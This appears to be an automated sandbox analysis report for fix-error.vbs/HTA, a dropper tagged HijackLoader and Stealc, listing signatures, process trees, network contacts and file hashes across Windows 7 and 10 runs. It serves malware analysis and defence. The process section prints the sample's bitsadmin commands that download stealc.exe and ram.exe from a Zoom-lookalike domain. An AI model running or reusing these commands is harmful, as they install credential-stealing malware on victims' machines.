Malware Analysis Report

2024-10-23 21:48

Sample ID 241017-lpb8zawakn
Target fix-error.vbs
SHA256 92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138
Tags
hijackloader stealc sneprivate29 google discovery dropper loader phishing stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138

Threat Level: Known bad

The file fix-error.vbs was found to be: Known bad.

Malicious Activity Summary

hijackloader stealc sneprivate29 google discovery dropper loader phishing stealer

HijackLoader

Detects HijackLoader (aka IDAT Loader)

Stealc

Downloads MZ/PE file

Download via BitsAdmin

Blocklisted process makes network request

Detected potential entity reuse from brand GOOGLE.

Suspicious use of SetThreadContext

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Program crash

Script User-Agent

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Modifies Internet Explorer settings

Kills process with taskkill

Delays execution with timeout.exe

Suspicious behavior: MapViewOfSection

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-17 09:42

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-17 09:42

Reported

2024-10-17 09:44

Platform

win7-20240903-en

Max time kernel

125s

Max time network

124s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fix-error.hta"

Signatures

Detects HijackLoader (aka IDAT Loader)

Description Indicator Process Target
N/A N/A N/A N/A

HijackLoader

loader hijackloader

Stealc

stealer stealc

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

Downloads MZ/PE file

Detected potential entity reuse from brand GOOGLE.

phishing google

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2596 set thread context of 1944 N/A C:\Users\Admin\AppData\Local\Temp\stealc.exe C:\Windows\SysWOW64\cmd.exe

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\explorer.exe

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\timeout.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\bitsadmin.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\bitsadmin.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\timeout.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\stealc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\taskkill.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\explorer.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\SysWOW64\explorer.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\SysWOW64\explorer.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\stealc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\stealc.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\explorer.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\stealc.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2616 wrote to memory of 2836 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\cmd.exe
PID 2616 wrote to memory of 2836 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\cmd.exe
PID 2616 wrote to memory of 2836 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\cmd.exe
PID 2616 wrote to memory of 2836 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\cmd.exe
PID 2616 wrote to memory of 2768 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2616 wrote to memory of 2768 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2616 wrote to memory of 2768 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2616 wrote to memory of 2768 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2836 wrote to memory of 2644 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2836 wrote to memory of 2644 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2836 wrote to memory of 2644 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2836 wrote to memory of 2644 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2616 wrote to memory of 2596 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
PID 2616 wrote to memory of 2596 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
PID 2616 wrote to memory of 2596 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
PID 2616 wrote to memory of 2596 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
PID 2616 wrote to memory of 2596 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
PID 2616 wrote to memory of 2596 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
PID 2616 wrote to memory of 2596 N/A C:\Windows\SysWOW64\mshta.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
PID 2616 wrote to memory of 2652 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\timeout.exe
PID 2616 wrote to memory of 2652 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\timeout.exe
PID 2616 wrote to memory of 2652 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\timeout.exe
PID 2616 wrote to memory of 2652 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\timeout.exe
PID 2596 wrote to memory of 1944 N/A C:\Users\Admin\AppData\Local\Temp\stealc.exe C:\Windows\SysWOW64\cmd.exe
PID 2596 wrote to memory of 1944 N/A C:\Users\Admin\AppData\Local\Temp\stealc.exe C:\Windows\SysWOW64\cmd.exe
PID 2596 wrote to memory of 1944 N/A C:\Users\Admin\AppData\Local\Temp\stealc.exe C:\Windows\SysWOW64\cmd.exe
PID 2596 wrote to memory of 1944 N/A C:\Users\Admin\AppData\Local\Temp\stealc.exe C:\Windows\SysWOW64\cmd.exe
PID 2616 wrote to memory of 1092 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2616 wrote to memory of 1092 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2616 wrote to memory of 1092 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2616 wrote to memory of 1092 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 2836 wrote to memory of 484 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2836 wrote to memory of 484 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2836 wrote to memory of 484 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2836 wrote to memory of 484 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2596 wrote to memory of 1944 N/A C:\Users\Admin\AppData\Local\Temp\stealc.exe C:\Windows\SysWOW64\cmd.exe
PID 1944 wrote to memory of 1036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 1944 wrote to memory of 1036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 1944 wrote to memory of 1036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 1944 wrote to memory of 1036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 1944 wrote to memory of 1036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 1944 wrote to memory of 1036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\explorer.exe
PID 1036 wrote to memory of 3032 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WerFault.exe
PID 1036 wrote to memory of 3032 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WerFault.exe
PID 1036 wrote to memory of 3032 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WerFault.exe
PID 1036 wrote to memory of 3032 N/A C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\WerFault.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fix-error.hta"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c timeout /t 30 /nobreak > nul && taskkill /F /PID 2616

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer myDownloadJob /download /priority foreground https://us18web-zoom.us/stealc.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe

C:\Windows\SysWOW64\timeout.exe

timeout /t 30 /nobreak

C:\Users\Admin\AppData\Local\Temp\stealc.exe

"C:\Users\Admin\AppData\Local\Temp\stealc.exe"

C:\Windows\SysWOW64\timeout.exe

"C:\Windows\System32\timeout.exe" /T 2 /nobreak

C:\Windows\SysWOW64\cmd.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer secondDownloadJob /download /priority foreground https://us18web-zoom.us/ram.exe C:\Users\Admin\AppData\Local\Temp\ram.exe

C:\Users\Admin\AppData\Local\Temp\ram.exe

"C:\Users\Admin\AppData\Local\Temp\ram.exe"

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /PID 2616

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1036 -s 808

Network

Country Destination Domain Proto
US 8.8.8.8:53 support.google.com udp
GB 142.250.179.238:443 support.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.187.227:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.178.3:80 o.pki.goog tcp
US 8.8.8.8:53 us18web-zoom.us udp
US 104.21.77.48:443 us18web-zoom.us tcp
US 8.8.8.8:53 webapizmland.com udp
US 104.21.2.186:443 webapizmland.com tcp
US 8.8.8.8:53 crl.microsoft.com udp
GB 2.19.117.18:80 crl.microsoft.com tcp
ES 95.182.97.58:80 tcp
ES 95.182.97.58:80 tcp

Files

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\633SXO0D\favicon[1].ico

MD5 f3418a443e7d841097c714d69ec4bcb8
SHA1 49263695f6b0cdd72f45cf1b775e660fdc36c606
SHA256 6da5620880159634213e197fafca1dde0272153be3e4590818533fab8d040770
SHA512 82d017c4b7ec8e0c46e8b75da0ca6a52fd8bce7fcf4e556cbdf16b49fc81be9953fe7e25a05f63ecd41c7272e8bb0a9fd9aedf0ac06cb6032330b096b3702563

memory/2596-21-0x0000000000400000-0x0000000000561000-memory.dmp

memory/2596-22-0x00000000718C0000-0x0000000071A34000-memory.dmp

memory/2596-23-0x00000000773A0000-0x0000000077549000-memory.dmp

memory/2596-37-0x00000000718C0000-0x0000000071A34000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\e08c9868

MD5 12507d572b570facebbec5aebefeae6e
SHA1 9c256107da9675e6738b4755e680160b3b4129c8
SHA256 a39cf0af479e97f78371a9f72b63ec72a5653e5658386e3cd9b7eae9e01a2924
SHA512 888ee87b59e079604bc3d7a00bb70f4a490f7299b67bdc5feec0af7373dea0c4db4315456488b91b0bc28d92d3baf9911a6ffdd26f1119c38611a70e77adc135

memory/1944-40-0x00000000773A0000-0x0000000077549000-memory.dmp

memory/1944-41-0x00000000718C0000-0x0000000071A34000-memory.dmp

memory/1036-43-0x0000000000680000-0x00000000008E3000-memory.dmp

memory/1036-44-0x00000000773A0000-0x0000000077549000-memory.dmp

memory/1036-45-0x0000000000680000-0x00000000008E3000-memory.dmp

memory/1036-49-0x0000000000680000-0x00000000008E3000-memory.dmp

memory/1036-50-0x0000000000680000-0x00000000008E3000-memory.dmp

memory/1036-53-0x0000000000680000-0x00000000008E3000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-17 09:42

Reported

2024-10-17 09:44

Platform

win10v2004-20241007-en

Max time kernel

135s

Max time network

125s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fix-error.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

Detected potential entity reuse from brand GOOGLE.

phishing google

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\fix-error.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Network

Country Destination Domain Proto
US 8.8.8.8:53 support.google.com udp
GB 142.250.187.206:443 support.google.com tcp
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.187.227:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.178.3:80 o.pki.goog tcp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 206.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp
US 8.8.8.8:53 3.178.250.142.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 227.187.250.142.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 98.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp

Files

N/A